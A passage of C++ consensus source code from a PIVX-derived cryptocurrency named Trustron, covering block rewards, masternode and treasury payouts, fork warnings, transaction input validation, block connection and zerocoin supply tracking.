nSubsidy = 3 * COIN;
} else if(nHeight > 400 && nHeight <= 1500) { //PoS phase
nSubsidy = 5 * COIN; // "instamine"
} else if(nHeight > 1500 && nHeight <= 210000) {
nSubsidy = 10 * COIN;
} else if(nHeight > 210000 && nHeight <= 840000) {
nSubsidy = 8 * COIN;
} else if(nHeight > 840000 && nHeight <= 1050000) {
nSubsidy = 4 * COIN;
} else {
nSubsidy = 1 * COIN;
}
}
return nSubsidy;
}
int64_t GetMasternodePayment(int nHeight, int64_t blockValue, int nMasternodeCount)
{
int64_t ret = 0;
if (Params().NetworkID() == CBaseChainParams::TESTNET) {
if (nHeight < 200)
return 0;
}
// 80% for Masternodes
if (nHeight <= 30){//1500) {
ret = blockValue / 100 * 0;
} else if (nHeight > 1) {
ret = blockValue / 100 * 60; //80%
}
return ret;
}
//Treasury blocks start from 70,000 and then each 10,000th block
int nStartTreasuryBlock = 70000;
int nTreasuryBlockStep = 1000;
bool IsTreasuryBlock(int nHeight)
{
if(nHeight < nStartTreasuryBlock)
return false;
else if( (nHeight-nStartTreasuryBlock) % nTreasuryBlockStep == 0)
return true;
else
return false;
}
int64_t GetTreasuryAward(int nHeight)
{
if(IsTreasuryBlock(nHeight)) {
if(nHeight == nStartTreasuryBlock)
return 200010 * COIN; //200,000 for the first treasury block, 10 - reward to PoS
else
return 15010 * COIN; //15,000 for each next block
} else
return 0;
}
bool IsInitialBlockDownload()
{
LOCK(cs_main);
if (fImporting || fReindex || chainActive.Height() < Checkpoints::GetTotalBlocksEstimate())
return true;
static bool lockIBDState = false;
if (lockIBDState)
return false;
bool state = (chainActive.Height() < pindexBestHeader->nHeight - 24 * 6 ||
pindexBestHeader->GetBlockTime() < GetTime() - 6 * 60 * 60); // ~144 blocks behind -> 2 x fork detection time
if (!state)
lockIBDState = true;
return state;
}
bool fLargeWorkForkFound = false;
bool fLargeWorkInvalidChainFound = false;
CBlockIndex *pindexBestForkTip = NULL, *pindexBestForkBase = NULL;
void CheckForkWarningConditions()
{
AssertLockHeld(cs_main);
// Before we get past initial download, we cannot reliably alert about forks
// (we assume we don't get stuck on a fork before the last checkpoint)
if (IsInitialBlockDownload())
return;
// If our best fork is no longer within 72 blocks (+/- 3 hours if no one mines it)
// of our head, drop it
if (pindexBestForkTip && chainActive.Height() - pindexBestForkTip->nHeight >= 72)
pindexBestForkTip = NULL;
if (pindexBestForkTip || (pindexBestInvalid && pindexBestInvalid->nChainWork > chainActive.Tip()->nChainWork + (GetBlockProof(*chainActive.Tip()) * 6))) {
if (!fLargeWorkForkFound && pindexBestForkBase) {
if (pindexBestForkBase->phashBlock) {
std::string warning = std::string("'Warning: Large-work fork detected, forking after block ") +
pindexBestForkBase->phashBlock->ToString() + std::string("'");
CAlert::Notify(warning, true);
}
}
if (pindexBestForkTip && pindexBestForkBase) {
if (pindexBestForkBase->phashBlock) {
LogPrintf("CheckForkWarningConditions: Warning: Large valid fork found\n forking the chain at height %d (%s)\n lasting to height %d (%s).\nChain state database corruption likely.\n",
pindexBestForkBase->nHeight, pindexBestForkBase->phashBlock->ToString(),
pindexBestForkTip->nHeight, pindexBestForkTip->phashBlock->ToString());
fLargeWorkForkFound = true;
}
} else {
LogPrintf("CheckForkWarningConditions: Warning: Found invalid chain at least ~6 blocks longer than our best chain.\nChain state database corruption likely.\n");
fLargeWorkInvalidChainFound = true;
}
} else {
fLargeWorkForkFound = false;
fLargeWorkInvalidChainFound = false;
}
}
void CheckForkWarningConditionsOnNewFork(CBlockIndex* pindexNewForkTip)
{
AssertLockHeld(cs_main);
// If we are on a fork that is sufficiently large, set a warning flag
CBlockIndex* pfork = pindexNewForkTip;
CBlockIndex* plonger = chainActive.Tip();
while (pfork && pfork != plonger) {
while (plonger && plonger->nHeight > pfork->nHeight)
plonger = plonger->pprev;
if (pfork == plonger)
break;
pfork = pfork->pprev;
}
// We define a condition which we should warn the user about as a fork of at least 7 blocks
// who's tip is within 72 blocks (+/- 3 hours if no one mines it) of ours
// or a chain that is entirely longer than ours and invalid (note that this should be detected by both)
// We use 7 blocks rather arbitrarily as it represents just under 10% of sustained network
// hash rate operating on the fork.
// We define it this way because it allows us to only store the highest fork tip (+ base) which meets
// the 7-block condition and from this always have the most-likely-to-cause-warning fork
if (pfork && (!pindexBestForkTip || (pindexBestForkTip && pindexNewForkTip->nHeight > pindexBestForkTip->nHeight)) &&
pindexNewForkTip->nChainWork - pfork->nChainWork > (GetBlockProof(*pfork) * 7) &&
chainActive.Height() - pindexNewForkTip->nHeight < 72) {
pindexBestForkTip = pindexNewForkTip;
pindexBestForkBase = pfork;
}
CheckForkWarningConditions();
}
// Requires cs_main.
void Misbehaving(NodeId pnode, int howmuch)
{
if (howmuch == 0)
return;
CNodeState* state = State(pnode);
if (state == NULL)
return;
state->nMisbehavior += howmuch;
int banscore = GetArg("-banscore", 100);
if (state->nMisbehavior >= banscore && state->nMisbehavior - howmuch < banscore) {
LogPrintf("Misbehaving: %s (%d -> %d) BAN THRESHOLD EXCEEDED\n", state->name, state->nMisbehavior - howmuch, state->nMisbehavior);
state->fShouldBan = true;
} else
LogPrintf("Misbehaving: %s (%d -> %d)\n", state->name, state->nMisbehavior - howmuch, state->nMisbehavior);
}
void static InvalidChainFound(CBlockIndex* pindexNew)
{
if (!pindexBestInvalid || pindexNew->nChainWork > pindexBestInvalid->nChainWork)
pindexBestInvalid = pindexNew;
LogPrintf("InvalidChainFound: invalid block=%s height=%d log2_work=%.8g date=%s\n",
pindexNew->GetBlockHash().ToString(), pindexNew->nHeight,
log(pindexNew->nChainWork.getdouble()) / log(2.0), DateTimeStrFormat("%Y-%m-%d %H:%M:%S",
pindexNew->GetBlockTime()));
LogPrintf("InvalidChainFound: current best=%s height=%d log2_work=%.8g date=%s\n",
chainActive.Tip()->GetBlockHash().ToString(), chainActive.Height(), log(chainActive.Tip()->nChainWork.getdouble()) / log(2.0),
DateTimeStrFormat("%Y-%m-%d %H:%M:%S", chainActive.Tip()->GetBlockTime()));
CheckForkWarningConditions();
}
void static InvalidBlockFound(CBlockIndex* pindex, const CValidationState& state)
{
int nDoS = 0;
if (state.IsInvalid(nDoS)) {
std::map<uint256, NodeId>::iterator it = mapBlockSource.find(pindex->GetBlockHash());
if (it != mapBlockSource.end() && State(it->second)) {
CBlockReject reject = {state.GetRejectCode(), state.GetRejectReason().substr(0, MAX_REJECT_MESSAGE_LENGTH), pindex->GetBlockHash()};
State(it->second)->rejects.push_back(reject);
if (nDoS > 0)
Misbehaving(it->second, nDoS);
}
}
if (!state.CorruptionPossible()) {
pindex->nStatus |= BLOCK_FAILED_VALID;
setDirtyBlockIndex.insert(pindex);
setBlockIndexCandidates.erase(pindex);
InvalidChainFound(pindex);
}
}
void UpdateCoins(const CTransaction& tx, CValidationState& state, CCoinsViewCache& inputs, CTxUndo& txundo, int nHeight)
{
// mark inputs spent
if (!tx.IsCoinBase() && !tx.IsZerocoinSpend()) {
txundo.vprevout.reserve(tx.vin.size());
BOOST_FOREACH (const CTxIn& txin, tx.vin) {
txundo.vprevout.push_back(CTxInUndo());
bool ret = inputs.ModifyCoins(txin.prevout.hash)->Spend(txin.prevout, txundo.vprevout.back());
assert(ret);
}
}
// add outputs
inputs.ModifyCoins(tx.GetHash())->FromTx(tx, nHeight);
}
bool CScriptCheck::operator()()
{
const CScript& scriptSig = ptxTo->vin[nIn].scriptSig;
if (!VerifyScript(scriptSig, scriptPubKey, nFlags, CachingTransactionSignatureChecker(ptxTo, nIn, cacheStore), &error)) {
return ::error("CScriptCheck(): %s:%d VerifySignature failed: %s", ptxTo->GetHash().ToString(), nIn, ScriptErrorString(error));
}
return true;
}
bool CheckInputs(const CTransaction& tx, CValidationState& state, const CCoinsViewCache& inputs, bool fScriptChecks, unsigned int flags, bool cacheStore, std::vector<CScriptCheck>* pvChecks)
{
if (!tx.IsCoinBase() && !tx.IsZerocoinSpend()) {
if (pvChecks)
pvChecks->reserve(tx.vin.size());
// This doesn't trigger the DoS code on purpose; if it did, it would make it easier
// for an attacker to attempt to split the network.
if (!inputs.HaveInputs(tx))
return state.Invalid(error("CheckInputs() : %s inputs unavailable", tx.GetHash().ToString()));
// While checking, GetBestBlock() refers to the parent block.
// This is also true for mempool checks.
CBlockIndex* pindexPrev = mapBlockIndex.find(inputs.GetBestBlock())->second;
int nSpendHeight = pindexPrev->nHeight + 1;
CAmount nValueIn = 0;
CAmount nFees = 0;
for (unsigned int i = 0; i < tx.vin.size(); i++) {
const COutPoint& prevout = tx.vin[i].prevout;
const CCoins* coins = inputs.AccessCoins(prevout.hash);
assert(coins);
// If prev is coinbase, check that it's matured
if (coins->IsCoinBase() || coins->IsCoinStake()) {
if (nSpendHeight - coins->nHeight < Params().COINBASE_MATURITY())
return state.Invalid(
error("CheckInputs() : tried to spend coinbase at depth %d, coinstake=%d", nSpendHeight - coins->nHeight, coins->IsCoinStake()),
REJECT_INVALID, "bad-txns-premature-spend-of-coinbase");
}
// Check for negative or overflow input values
nValueIn += coins->vout[prevout.n].nValue;
if (!MoneyRange(coins->vout[prevout.n].nValue) || !MoneyRange(nValueIn))
return state.DoS(100, error("CheckInputs() : txin values out of range"),
REJECT_INVALID, "bad-txns-inputvalues-outofrange");
}
if (!tx.IsCoinStake()) {
if (nValueIn < tx.GetValueOut())
return state.DoS(100, error("CheckInputs() : %s value in (%s) < value out (%s)",
tx.GetHash().ToString(), FormatMoney(nValueIn), FormatMoney(tx.GetValueOut())),
REJECT_INVALID, "bad-txns-in-belowout");
// Tally transaction fees
CAmount nTxFee = nValueIn - tx.GetValueOut();
if (nTxFee < 0)
return state.DoS(100, error("CheckInputs() : %s nTxFee < 0", tx.GetHash().ToString()),
REJECT_INVALID, "bad-txns-fee-negative");
nFees += nTxFee;
if (!MoneyRange(nFees))
return state.DoS(100, error("CheckInputs() : nFees out of range"),
REJECT_INVALID, "bad-txns-fee-outofrange");
}
// The first loop above does all the inexpensive checks.
// Only if ALL inputs pass do we perform expensive ECDSA signature checks.
// Helps prevent CPU exhaustion attacks.
// Skip ECDSA signature verification when connecting blocks
// before the last block chain checkpoint. This is safe because block merkle hashes are
// still computed and checked, and any change will be caught at the next checkpoint.
if (fScriptChecks) {
for (unsigned int i = 0; i < tx.vin.size(); i++) {
const COutPoint& prevout = tx.vin[i].prevout;
const CCoins* coins = inputs.AccessCoins(prevout.hash);
assert(coins);
// Verify signature
CScriptCheck check(*coins, tx, i, flags, cacheStore);
if (pvChecks) {
pvChecks->push_back(CScriptCheck());
check.swap(pvChecks->back());
} else if (!check()) {
if (flags & STANDARD_NOT_MANDATORY_VERIFY_FLAGS) {
// Check whether the failure was caused by a
// non-mandatory script verification check, such as
// non-standard DER encodings or non-null dummy
// arguments; if so, don't trigger DoS protection to
// avoid splitting the network between upgraded and
// non-upgraded nodes.
CScriptCheck check(*coins, tx, i,
flags & ~STANDARD_NOT_MANDATORY_VERIFY_FLAGS, cacheStore);
if (check())
return state.Invalid(false, REJECT_NONSTANDARD, strprintf("non-mandatory-script-verify-flag (%s)", ScriptErrorString(check.GetScriptError())));
}
// Failures of other flags indicate a transaction that is
// invalid in new blocks, e.g. a invalid P2SH. We DoS ban
// such nodes as they are not following the protocol. That
// said during an upgrade careful thought should be taken
// as to the correct behavior - we may want to continue
// peering with non-upgraded nodes even after a soft-fork
// super-majority vote has passed.
return state.DoS(100, false, REJECT_INVALID, strprintf("mandatory-script-verify-flag-failed (%s)", ScriptErrorString(check.GetScriptError())));
}
}
}
}
return true;
}
bool DisconnectBlock(CBlock& block, CValidationState& state, CBlockIndex* pindex, CCoinsViewCache& view, bool* pfClean)
{
assert(pindex->GetBlockHash() == view.GetBestBlock());
if (pfClean)
*pfClean = false;
bool fClean = true;
CBlockUndo blockUndo;
CDiskBlockPos pos = pindex->GetUndoPos();
if (pos.IsNull())
return error("DisconnectBlock() : no undo data available");
if (!blockUndo.ReadFromDisk(pos, pindex->pprev->GetBlockHash()))
return error("DisconnectBlock() : failure reading undo data");
if (blockUndo.vtxundo.size() + 1 != block.vtx.size())
return error("DisconnectBlock() : block and undo data inconsistent");
// undo transactions in reverse order
for (int i = block.vtx.size() - 1; i >= 0; i--) {
const CTransaction& tx = block.vtx[i];
/** UNDO ZEROCOIN DATABASING
* note we only undo zerocoin databasing in the following statement, value to and from Trustron
* addresses should still be handled by the typical bitcoin based undo code
* */
if (tx.ContainsZerocoins()) {
if (tx.IsZerocoinSpend()) {
//erase all zerocoinspends in this transaction
for (const CTxIn txin : tx.vin) {
if (txin.scriptSig.IsZerocoinSpend()) {
CoinSpend spend = TxInToZerocoinSpend(txin);
if (!zerocoinDB->EraseCoinSpend(spend.getCoinSerialNumber()))
return error("failed to erase spent zerocoin in block");
}
}
}
if (tx.IsZerocoinMint()) {
//erase all zerocoinmints in this transaction
for (const CTxOut txout : tx.vout) {
if (txout.scriptPubKey.empty() || !txout.scriptPubKey.IsZerocoinMint())
continue;
PublicCoin pubCoin(Params().Zerocoin_Params());
if (!TxOutToPublicCoin(txout, pubCoin, state))
return error("DisconnectBlock(): TxOutToPublicCoin() failed");
if(!zerocoinDB->EraseCoinMint(pubCoin.getValue()))
return error("DisconnectBlock(): Failed to erase coin mint");
}
}
}
uint256 hash = tx.GetHash();
// Check that all outputs are available and match the outputs in the block itself
// exactly. Note that transactions with only provably unspendable outputs won't
// have outputs available even in the block itself, so we handle that case
// specially with outsEmpty.
{
CCoins outsEmpty;
CCoinsModifier outs = view.ModifyCoins(hash);
outs->ClearUnspendable();
CCoins outsBlock(tx, pindex->nHeight);
// The CCoins serialization does not serialize negative numbers.
// No network rules currently depend on the version here, so an inconsistency is harmless
// but it must be corrected before txout nversion ever influences a network rule.
if (outsBlock.nVersion < 0)
outs->nVersion = outsBlock.nVersion;
if (*outs != outsBlock)
fClean = fClean && error("DisconnectBlock() : added transaction mismatch? database corrupted");
// remove outputs
outs->Clear();
}
// restore inputs
if (!tx.IsCoinBase() && !tx.IsZerocoinSpend()) { // not coinbases or zerocoinspend because they dont have traditional inputs
const CTxUndo& txundo = blockUndo.vtxundo[i - 1];
if (txundo.vprevout.size() != tx.vin.size())
return error("DisconnectBlock() : transaction and undo data inconsistent - txundo.vprevout.siz=%d tx.vin.siz=%d", txundo.vprevout.size(), tx.vin.size());
for (unsigned int j = tx.vin.size(); j-- > 0;) {
const COutPoint& out = tx.vin[j].prevout;
const CTxInUndo& undo = txundo.vprevout[j];
CCoinsModifier coins = view.ModifyCoins(out.hash);
if (undo.nHeight != 0) {
// undo data contains height: this is the last output of the prevout tx being spent
if (!coins->IsPruned())
fClean = fClean && error("DisconnectBlock() : undo data overwriting existing transaction");
coins->Clear();
coins->fCoinBase = undo.fCoinBase;
coins->nHeight = undo.nHeight;
coins->nVersion = undo.nVersion;
} else {
if (coins->IsPruned())
fClean = fClean && error("DisconnectBlock() : undo data adding output to missing transaction");
}
if (coins->IsAvailable(out.n))
fClean = fClean && error("DisconnectBlock() : undo data overwriting existing output");
if (coins->vout.size() < out.n + 1)
coins->vout.resize(out.n + 1);
coins->vout[out.n] = undo.txout;
}
}
}
// move best block pointer to prevout block
view.SetBestBlock(pindex->pprev->GetBlockHash());
if (!fVerifyingBlocks) {
//if block is an accumulator checkpoint block, remove checkpoint and checksums from db
uint256 nCheckpoint = pindex->nAccumulatorCheckpoint;
if(nCheckpoint != pindex->pprev->nAccumulatorCheckpoint) {
if(!EraseAccumulatorValues(nCheckpoint, pindex->pprev->nAccumulatorCheckpoint))
return error("DisconnectBlock(): failed to erase checkpoint");
}
}
if (pfClean) {
*pfClean = fClean;
return true;
} else {
return fClean;
}
}
void static FlushBlockFile(bool fFinalize = false)
{
LOCK(cs_LastBlockFile);
CDiskBlockPos posOld(nLastBlockFile, 0);
FILE* fileOld = OpenBlockFile(posOld);
if (fileOld) {
if (fFinalize)
TruncateFile(fileOld, vinfoBlockFile[nLastBlockFile].nSize);
FileCommit(fileOld);
fclose(fileOld);
}
fileOld = OpenUndoFile(posOld);
if (fileOld) {
if (fFinalize)
TruncateFile(fileOld, vinfoBlockFile[nLastBlockFile].nUndoSize);
FileCommit(fileOld);
fclose(fileOld);
}
}
bool FindUndoPos(CValidationState& state, int nFile, CDiskBlockPos& pos, unsigned int nAddSize);
static CCheckQueue<CScriptCheck> scriptcheckqueue(128);
void ThreadScriptCheck()
{
RenameThread("trustron-scriptch");
scriptcheckqueue.Thread();
}
void RecalculateZTSNMinted()
{
CBlockIndex *pindex = chainActive[Params().Zerocoin_AccumulatorStartHeight()];
int nHeightEnd = chainActive.Height();
while (true) {
if (pindex->nHeight % 1000 == 0)
LogPrintf("%s : block %d...\n", __func__, pindex->nHeight);
//overwrite possibly wrong vMintsInBlock data
CBlock block;
assert(ReadBlockFromDisk(block, pindex));
std::list<CZerocoinMint> listMints;
BlockToZerocoinMintList(block, listMints);
vector<libzerocoin::CoinDenomination> vDenomsBefore = pindex->vMintDenominationsInBlock;
pindex->vMintDenominationsInBlock.clear();
for (auto mint : listMints)
pindex->vMintDenominationsInBlock.emplace_back(mint.GetDenomination());
//Record mints to disk
assert(pblocktree->WriteBlockIndex(CDiskBlockIndex(pindex)));
if (pindex->nHeight < nHeightEnd)
pindex = chainActive.Next(pindex);
else
break;
}
pblocktree->Flush();
}
void RecalculateZTSNSpent()
{
CBlockIndex* pindex = chainActive[Params().Zerocoin_AccumulatorStartHeight()];
while (true) {
if (pindex->nHeight % 1000 == 0)
LogPrintf("%s : block %d...\n", __func__, pindex->nHeight);
//Rewrite zTSN supply
CBlock block;
assert(ReadBlockFromDisk(block, pindex));
list<libzerocoin::CoinDenomination> listDenomsSpent = ZerocoinSpendListFromBlock(block);
//Reset the supply to previous block
pindex->mapZerocoinSupply = pindex->pprev->mapZerocoinSupply;
//Add mints to zTSN supply
for (auto denom : libzerocoin::zerocoinDenomList) {
long nDenomAdded = count(pindex->vMintDenominationsInBlock.begin(), pindex->vMintDenominationsInBlock.end(), denom);
pindex->mapZerocoinSupply.at(denom) += nDenomAdded;
}
//Remove spends from zTSN supply
for (auto denom : listDenomsSpent)
pindex->mapZerocoinSupply.at(denom)--;
//Rewrite money supply
assert(pblocktree->WriteBlockIndex(CDiskBlockIndex(pindex)));
if (pindex->nHeight < chainActive.Height())
pindex = chainActive.Next(pindex);
else
break;
}
pblocktree->Flush();
}
bool RecalculateTSNSupply(int nHeightStart)
{
if (nHeightStart > chainActive.Height())
return false;
CBlockIndex* pindex = chainActive[nHeightStart];
CAmount nSupplyPrev = pindex->pprev->nMoneySupply;
while (true) {
if (pindex->nHeight % 1000 == 0)
LogPrintf("%s : block %d...\n", __func__, pindex->nHeight);
CBlock block;
assert(ReadBlockFromDisk(block, pindex));
CAmount nValueIn = 0;
CAmount nValueOut = 0;
for (const CTransaction tx : block.vtx) {
for (unsigned int i = 0; i < tx.vin.size(); i++) {
if (tx.IsCoinBase())
break;
if (tx.vin[i].scriptSig.IsZerocoinSpend()) {
nValueIn += tx.vin[i].nSequence * COIN;
continue;
}
COutPoint prevout = tx.vin[i].prevout;
CTransaction txPrev;
uint256 hashBlock;
assert(GetTransaction(prevout.hash, txPrev, hashBlock, true));
nValueIn += txPrev.vout[prevout.n].nValue;
}
for (unsigned int i = 0; i < tx.vout.size(); i++) {
if (i == 0 && tx.IsCoinStake())
continue;
nValueOut += tx.vout[i].nValue;
}
}
// Rewrite money supply
pindex->nMoneySupply = nSupplyPrev + nValueOut - nValueIn;
nSupplyPrev = pindex->nMoneySupply;
assert(pblocktree->WriteBlockIndex(CDiskBlockIndex(pindex)));
if (pindex->nHeight < chainActive.Height())
pindex = chainActive.Next(pindex);
else
break;
}
pblocktree->Flush();
return true;
}
static int64_t nTimeVerify = 0;
static int64_t nTimeConnect = 0;
static int64_t nTimeIndex = 0;
static int64_t nTimeCallbacks = 0;
static int64_t nTimeTotal = 0;
bool ConnectBlock(const CBlock& block, CValidationState& state, CBlockIndex* pindex, CCoinsViewCache& view, bool fJustCheck, bool fAlreadyChecked)
{
AssertLockHeld(cs_main);
// Check it again in case a previous version let a bad block in
if (!fAlreadyChecked && !CheckBlock(block, state, !fJustCheck, !fJustCheck))
return false;
// verify that the view's current state corresponds to the previous block
uint256 hashPrevBlock = pindex->pprev == NULL ? uint256(0) : pindex->pprev->GetBlockHash();
if (hashPrevBlock != view.GetBestBlock())
LogPrintf("%s: hashPrev=%s view=%s\n", __func__, hashPrevBlock.ToString().c_str(), view.GetBestBlock().ToString().c_str());
assert(hashPrevBlock == view.GetBestBlock());
// Special case for the genesis block, skipping connection of its transactions
// (its coinbase is unspendable)
if (block.GetHash() == Params().HashGenesisBlock()) {
view.SetBestBlock(pindex->GetBlockHash());
return true;
}
if (pindex->nHeight <= Params().LAST_POW_BLOCK() && block.IsProofOfStake())
return state.DoS(100, error("ConnectBlock() : PoS period not active"),
REJECT_INVALID, "PoS-early");
if (pindex->nHeight > Params().LAST_POW_BLOCK() && block.IsProofOfWork())
return state.DoS(100, error("ConnectBlock() : PoW period ended"),
REJECT_INVALID, "PoW-ended");
bool fScriptChecks = pindex->nHeight >= Checkpoints::GetTotalBlocksEstimate();
// Do not allow blocks that contain transactions which 'overwrite' older transactions,
// unless those are already completely spent.
// If such overwrites are allowed, coinbases and transactions depending upon those
// can be duplicated to remove the ability to spend the first instance -- even after
// being sent to another address.
// See BIP30 and http://r6.ca/blog/20120206T005236Z.html for more information.
// This logic is not necessary for memory pool transactions, as AcceptToMemoryPool
// already refuses previously-known transaction ids entirely.
// This rule was originally applied all blocks whose timestamp was after March 15, 2012, 0:00 UTC.
// Now that the whole chain is irreversibly beyond that time it is applied to all blocks except the
// two in the chain that violate it. This prevents exploiting the issue against nodes in their
// initial block download.
bool fEnforceBIP30 = (!pindex->phashBlock) || // Enforce on CreateNewBlock invocations which don't have a hash.
!((pindex->nHeight == 91842 && pindex->GetBlockHash() == uint256("0x00000000000a4d0a398161ffc163c503763b1f4360639393e0e4c8e300e0caec")) ||
(pindex->nHeight == 91880 && pindex->GetBlockHash() == uint256("0x00000000000743f190a18c5577a3c2d2a1f610ae9601ac046a38084ccb7cd721")));
if (fEnforceBIP30) {
BOOST_FOREACH (const CTransaction& tx, block.vtx) {
const CCoins* coins = view.AccessCoins(tx.GetHash());
if (coins && !coins->IsPruned())
return state.DoS(100, error("ConnectBlock() : tried to overwrite transaction"),
REJECT_INVALID, "bad-txns-BIP30");
}
}
// BIP16 didn't become active until Apr 1 2012
int64_t nBIP16SwitchTime = 1333238400;
bool fStrictPayToScriptHash = (pindex->GetBlockTime() >= nBIP16SwitchTime);
unsigned int flags = fStrictPayToScriptHash ? SCRIPT_VERIFY_P2SH : SCRIPT_VERIFY_NONE;
// Start enforcing the DERSIG (BIP66) rules, for block.nVersion=3 blocks, when 75% of the network has upgraded:
if (block.nVersion >= 3 && CBlockIndex::IsSuperMajority(3, pindex->pprev, Params().EnforceBlockUpgradeMajority())) {
flags |= SCRIPT_VERIFY_DERSIG;
}
CBlockUndo blockundo;
CCheckQueueControl<CScriptCheck> control(fScriptChecks && nScriptCheckThreads ? &scriptcheckqueue : NULL);
int64_t nTimeStart = GetTimeMicros();
CAmount nFees = 0;
int nInputs = 0;
unsigned int nSigOps = 0;
CDiskTxPos pos(pindex->GetBlockPos(), GetSizeOfCompactSize(block.vtx.size()));
std::vector<std::pair<uint256, CDiskTxPos> > vPos;
vPos.reserve(block.vtx.size());
blockundo.vtxundo.reserve(block.vtx.size() - 1);
CAmount nValueOut = 0;
CAmount nValueIn = 0;
unsigned int nMaxBlockSigOps = MAX_BLOCK_SIGOPS_CURRENT;
for (unsigned int i = 0; i < block.vtx.size(); i++) {
const CTransaction& tx = block.vtx[i];
nInputs += tx.vin.size();
nSigOps += GetLegacySigOpCount(tx);
if (nSigOps > nMaxBlockSigOps)
return state.DoS(100, error("ConnectBlock() : too many sigops"),
REJECT_INVALID, "bad-blk-sigops");
//Temporarily disable zerocoin transactions for maintenance
if (block.nTime > GetSporkValue(SPORK_16_ZEROCOIN_MAINTENANCE_MODE) && !IsInitialBlockDownload() && tx.ContainsZerocoins())
return state.DoS(100, error("ConnectBlock() : zerocoin transactions are currently in maintenance mode"));
if (tx.IsZerocoinSpend()) {
int nHeightTx = 0;
if (IsTransactionInChain(tx.GetHash(), nHeightTx)) {
//when verifying blocks on init, the blocks are scanned without being disconnected - prevent that from causing an error
if (!fVerifyingBlocks || (fVerifyingBlocks && pindex->nHeight > nHeightTx))
return state.DoS(100, error("%s : txid %s already exists in block %d , trying to include it again in block %d", __func__,
tx.GetHash().GetHex(), nHeightTx, pindex->nHeight),
REJECT_INVALID, "bad-txns-inputs-missingorspent");
}
//Check for double spending of serial #'s
for (const CTxIn& txIn : tx.vin) {
if (!txIn.scriptSig.IsZerocoinSpend())
continue;
CoinSpend spend = TxInToZerocoinSpend(txIn);
nValueIn += spend.getDenomination() * COIN;
// Make sure that the serial number is in valid range
if (!spend.HasValidSerial(Params().Zerocoin_Params())) {
string strError = strprintf("%s : txid=%s in block %d contains invalid serial %s\n", __func__, tx.GetHash().GetHex(), pindex->nHeight, spend.getCoinSerialNumber());
if (pindex->nHeight >= Params().Zerocoin_Block_EnforceSerialRange())
return state.DoS(100, error(strError.c_str()));
strError = "NOT ENFORCING : " + strError;
LogPrintf(strError.c_str());
}
//Is the serial already in the blockchain?
uint256 hashTxFromDB;
int nHeightTxSpend = 0;
if (zerocoinDB->ReadCoinSpend(spend.getCoinSerialNumber(), hashTxFromDB)) {
if(IsSerialInBlockchain(spend.getCoinSerialNumber(), nHeightTxSpend)) {
if(!fVerifyingBlocks || (fVerifyingBlocks && pindex->nHeight > nHeightTxSpend))
return state.DoS(100, error("%s : zTrustron with serial %s is already in the block %d\n",
__func__, spend.getCoinSerialNumber().GetHex(), nHeightTxSpend));
}
}
//record spend to database
if (!zerocoinDB->WriteCoinSpend(spend.getCoinSerialNumber(), tx.GetHash()))
return error("%s : failed to record coin serial to database");
}
} else if (!tx.IsCoinBase()) {
if (!view.HaveInputs(tx))
return state.DoS(100, error("ConnectBlock() : inputs missing/spent"),
REJECT_INVALID, "bad-txns-inputs-missingorspent");
if (fStrictPayToScriptHash) {
// Add in sigops done by pay-to-script-hash inputs;
// this is to prevent a "rogue miner" from creating
// an incredibly-expensive-to-validate block.
nSigOps += GetP2SHSigOpCount(tx, view);
if (nSigOps > nMaxBlockSigOps)
return state.DoS(100, error("ConnectBlock() : too many sigops"),
REJECT_INVALID, "bad-blk-sigops");
}
if (!tx.IsCoinStake())
nFees += view.GetValueIn(tx) - tx.GetValueOut();
nValueIn += view.GetValueIn(tx);
std::vector<CScriptCheck> vChecks;
if (!CheckInputs(tx, state, view, fScriptChecks, flags, false, nScriptCheckThreads ? &vChecks : NULL))
return false;
control.Add(vChecks);
}
nValueOut += tx.GetValueOut();
CTxUndo undoDummy;
if (i > 0) {
blockundo.vtxundo.push_back(CTxUndo());
}
UpdateCoins(tx, state, view, i == 0 ? undoDummy : blockundo.vtxundo.back(), pindex->nHeight);
vPos.push_back(std::make_pair(tx.GetHash(), pos));
pos.nTxOffset += ::GetSerializeSize(tx, SER_DISK, CLIENT_VERSION);
}
std::list<CZerocoinMint> listMints;
BlockToZerocoinMintList(block, listMints);
std::list<libzerocoin::CoinDenomination> listSpends = ZerocoinSpendListFromBlock(block);
if (!fVerifyingBlocks && pindex->nHeight == Params().Zerocoin_StartHeight() + 1) {
RecalculateZTSNMinted();
RecalculateZTSNSpent();
RecalculateTSNSupply(1);
}
// Initialize zerocoin supply to the supply from previous block
if (pindex->pprev && pindex->pprev->GetBlockHeader().nVersion > 3) {
for (auto& denom : zerocoinDenomList) {
pindex->mapZerocoinSupply.at(denom) = pindex->pprev->mapZerocoinSupply.at(denom);
}
}
// Track zerocoin money supply
CAmount nAmountZerocoinSpent = 0;
pindex->vMintDenominationsInBlock.clear();
if (pindex->pprev) {
for (auto& m : listMints) {
libzerocoin::CoinDenomination denom = m.GetDenomination();
pindex->vMintDenominationsInBlock.push_back(m.GetDenomination());
pindex->mapZerocoinSupply.at(denom)++;
}
for (auto& denom : listSpends) {
pindex->mapZerocoinSupply.at(denom)--;
nAmountZerocoinSpent += libzerocoin::ZerocoinDenominationToAmount(denom);
// zerocoin failsafe
if (pindex->mapZerocoinSupply.at(denom) < 0)
return state.DoS(100, error("Block contains zerocoins that spend more than are in the available supply to spend"));
}
}
for (auto& denom : zerocoinDenomList) {
LogPrint("zero" "%s coins for denomination %d pubcoin %s\n", __func__, pindex->mapZerocoinSupply.at(denom), denom);
}
// track money supply and mint amount info
CAmount nMoneySupplyPrev = pindex->pprev ? pindex->pprev->nMoneySupply : 0;
pindex->nMoneySupply = nMoneySupplyPrev + nValueOut - nValueIn;
pindex->nMint = pindex->nMoneySupply - nMoneySupplyPrev + nFees;
// LogPrintf("XX69----------> ConnectBlock(): nValueOut: %s, nValueIn: %s, nFees: %s, nMint: %s zTrustronSpent: %s\n",
// FormatMoney(nValueOut), FormatMoney(nValueIn),
// FormatMoney(nFees), FormatMoney(pindex->nMint), FormatMoney(nAmountZerocoinSpent));
if (!pblocktree->WriteBlockIndex(CDiskBlockIndex(pindex)))
return error("Connect() : WriteBlockIndex for pindex failed");
int64_t nTime1 = GetTimeMicros();
nTimeConnect += nTime1 - nTimeStart;
LogPrint("bench", " - Connect %u transactions: %.2fms (%.3fms/tx, %.3fms/txin) [%.2fs]\n", (unsigned)block.vtx.size(), 0.001 * (nTime1 - nTimeStart), 0.001 * (nTime1 - nTimeStart) / block.vtx.size(), nInputs <= 1 ? 0 : 0.001 * (nTime1 - nTimeStart) / (nInputs - 1), nTimeConnect * 0.000001);
//PoW phase redistributed fees to miner. PoS stage destroys fees.
